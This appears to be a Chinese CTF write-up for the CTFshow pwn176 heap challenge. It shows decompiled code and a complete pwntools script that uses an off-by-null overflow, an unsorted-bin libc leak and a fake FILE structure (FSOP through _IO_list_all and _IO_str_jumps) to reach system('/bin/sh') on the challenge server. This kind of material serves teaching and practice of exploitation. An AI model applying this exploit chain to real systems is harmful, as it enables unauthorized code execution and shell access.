CTFshow-pwn176
[!NOTE]
似乎还是有多种解法,但是没那么好利用,你选择哪一种呢?
- 远程环境:Ubuntu 16.04
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn176
[*] '/home/niuyingying/ctf/pwn/pwn176'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
在 ida 中查看程序流程,大致如下
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
sub_B70(a1, a2, a3);
sub_C50();
while ( 1 )
{
puts("=============");
puts("1. Allocate");
puts("2. Update");
puts("3. Show");
puts("4. Free");
puts("5. Exit");
__printf_chk(1, ">> ");
switch ( (unsigned int)sub_BF0() )
{
case 1u:
sub_D00();
break;
case 2u:
sub_DE0();
break;
case 3u:
sub_E70();
break;
case 4u:
sub_EF0();
break;
case 5u:
puts("Bye!");
exit(0);
default:
puts("Emmm.");
exit(-1);
}
}
}
unsigned int sub_B70()
{
mallopt(1, 0); // 禁用 fastbin
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return alarm(0x1Eu);
}
ssize_t sub_D00()
{
signed int v0; // eax
__int64 v1; // rbx
int v2; // ebp
char *v3; // rbx
ssize_t result; // rax
__printf_chk(1, "Index: ");
v0 = sub_BF0();
if ( (unsigned int)v0 > 0xF )
error("Invalid index!");
v1 = v0;
if ( qword_2020A0[v0] )
error("Index is already allocated!");
__printf_chk(1, "Size: ");
v2 = sub_BF0();
if ( (unsigned int)(v2 - 16) > 0xF0 )
error("Invalid size!");
qword_2020A0[v1] = malloc(v2);
dword_202060[v1] = v2;
__printf_chk(1, "Content: ");
v3 = (char *)qword_2020A0[v1];
result = read(0, v3, v2);
v3[result - 1] = 0;
return result;
}
ssize_t sub_DE0()
{
unsigned int v0; // eax
__int64 v1; // rbx
void *v2; // rbp
ssize_t result; // rax
__printf_chk(1, "Index: ");
v0 = sub_BF0();
if ( v0 > 0xF )
error("Invalid index!");
v1 = (int)v0;
if ( !qword_2020A0[v0] )
error("Index is not allocated!");
__printf_chk(1, "Content: ");
v2 = (void *)qword_2020A0[v1];
result = read(0, v2, (int)dword_202060[v1]);
*((_BYTE *)v2 + result) = 0;
return result;
}
__int64 sub_E70()
{
unsigned int v0; // eax
const char *v1; // r8
__printf_chk(1, "Index: ");
v0 = sub_BF0();
if ( v0 > 0xF )
error("Invalid index!");
v1 = (const char *)qword_2020A0[v0];
if ( !v1 )
error("Index is not allocated!");
return __printf_chk(1, "Chunk %d's content: %.*s\n", v0, dword_202060[v0], v1);
}
_DWORD *sub_EF0()
{
unsigned int v0; // eax
__int64 v1; // rbx
void *v2; // rdi
_DWORD *result; // rax
__printf_chk(1, "Index: ");
v0 = sub_BF0();
if ( v0 > 0xF )
error("Invalid index!");
v1 = (int)v0;
v2 = (void *)qword_2020A0[v0];
if ( !v2 )
error("Index is not allocated!");
free(v2);
result = dword_202060;
qword_2020A0[v1] = 0;
dword_202060[v1] = 0;
return result;
}
看到 sub_B70() 函数调用 mallopt(1, 0) ,作用是禁用 fastbin,所以这题不能走 fastbin attack
同时程序存在 off-by-null 漏洞,无 UAF
那么利用思路是先利用 off-by-null 伪造 prev_size,让 chunk2 free 时向前合并,覆盖到 chunk1 形成 overlap ,随后 show(1) 泄露 unsorted bin 的 main_arena ,计算 libc base,之后伪造 FILE 结构,利用 FSOP 技巧,最终调用 system("/bin/sh")
攻击脚本如下:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn176')
libc = ELF('./libc-2.23.so')
# io = process('./pwn176')
io = remote("pwn.challenge.ctf.show",28152)
# io = gdb.debug('./pwn173', gdbscript='b *0x4015C3\nb *0x401840\nc')
# io = gdb.debug(
# './pwn176',
# gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xDAA
# breakrva 0xE49
# breakrva 0xEBE
# breakrva 0xF45
# c
# '''
# )
def Allocate(i,size,text):
io.recvuntil(b">> ")
io.sendline(b"1")
io.recvuntil(b"Index: ")
io.sendline(str(i))
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Content: ")
if len(text) >= size:
io.send(text)
else:
io.sendline(text)
def Update(i,size,text):
io.recvuntil(b">> ")
io.sendline(b"2")
io.recvuntil(b"Index: ")
io.sendline(str(i))
io.recvuntil(b"Content: ")
if len(text) >= size:
io.send(text)
else:
io.sendline(text)
def Show(i):
io.recvuntil(b">> ")
io.sendline(b"3")
io.recvuntil(b"Index: ")
io.sendline(str(i))
def Free(i):
io.recvuntil(b">> ")
io.sendline(b"4")
io.recvuntil(b"Index: ")
io.sendline(str(i))
Allocate(0,0xf8,b"\x00")
Allocate(1,0xf8,b"\x00")
Allocate(2,0xf8,b"\x00")
Allocate(3,0x10,b"\x00")
Free(0)
Update(1,0xf8,b"\x00" * 0xf0 + p64(0x200))
Free(2)
Allocate(0,0xf8,b"\x00")
Show(1)
io.recvuntil(b"Chunk 1's content: ")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
io_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
_IO_str_jumps = libc_base + 0x3c37a0
io_str_finish = _IO_str_jumps + 0x10
# FSOP
Free(0)
Allocate(0,0x100,b"\x00")
# fake chunk
fake_file = p64(0) + p64(0x61) # prev_size = 0; size = 0x61
fake_file += p64(0) + p64(io_list_all - 0x10) # fd = 0; bk = _IO_list_all - 0x10
# fake _IO_FILE_plus
fake_file += p64(0) + p64(1) # fake_file + 0x20 = _IO_write_base = 0; fake_file + 0x28 = _IO_write_ptr = 1
fake_file += p64(0) + p64(binsh) # fake_file + 0x30 = _IO_write_end = 0; fake_file + 0x38 = _IO_buf_base = binsh
fake_file = fake_file.ljust(0xC0, b"\x00")
fake_file += p64(0) * 3 # fp->_mode <= 0
fake_file += p64(io_str_finish - 0x18) # fake_file + 0xD8 = vtable = io_str_finish - 0x18
fake_file += p64(0)
fake_file += p64(system) # fake_file + 0xE8 = _free_buffer = system
Update(1,0xf0,fake_file)
io.recvuntil(b">> ")
io.sendline(b"1")
io.recvuntil(b"Index: ")
io.sendline(str(4))
io.recvuntil(b"Size: ")
io.sendline(str(0x10).encode())
io.interactive()
有点忘记 SFOP 了,来说一下细节
先是
Free(0)
Allocate(0, 0x100, b"\x00")
把剩余 unsorted chunk 的 chunk header 改写成原 chunk1 的用户区地址,这样 Update(1) 可以直接伪造 unsorted chunk + fake FILE
接着解释一下为什么 bk = _IO_list_all - 0x10
现在控制了一个正在 unsorted bin 里的 fake chunk , glibc 后面处理它的时候,会把它从 unsorted bin 链表里摘出来
free chunk 的结构是:
fake_chunk + 0x00 : prev_size
fake_chunk + 0x08 : size
fake_chunk + 0x10 : fd
fake_chunk + 0x18 : bk
glibc 处理 unsorted bin chunk 时,大概会这样:
victim = 当前 unsorted bin chunk;
bck = victim->bk;
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
我们重点只看最后一句:
bck->fd = unsorted_chunks(av);
它的意思是,往 bck 指向的结构体里的 fd 字段写入 unsorted_chunks(av) ,而 fd 字段相对 chunk 头的偏移是 0x10。
所以这句实际等价于 *(bck + 0x10) = unsorted_chunks(av);
现在我们的目标是改 _IO_list_all,即 *(_IO_list_all) = unsorted_chunks(av); ,所以需要让 bck + 0x10 = _IO_list_all
所以 payload 写:
fake_file += p64(0) + p64(io_list_all - 0x10)

浙公网安备 33010602011771号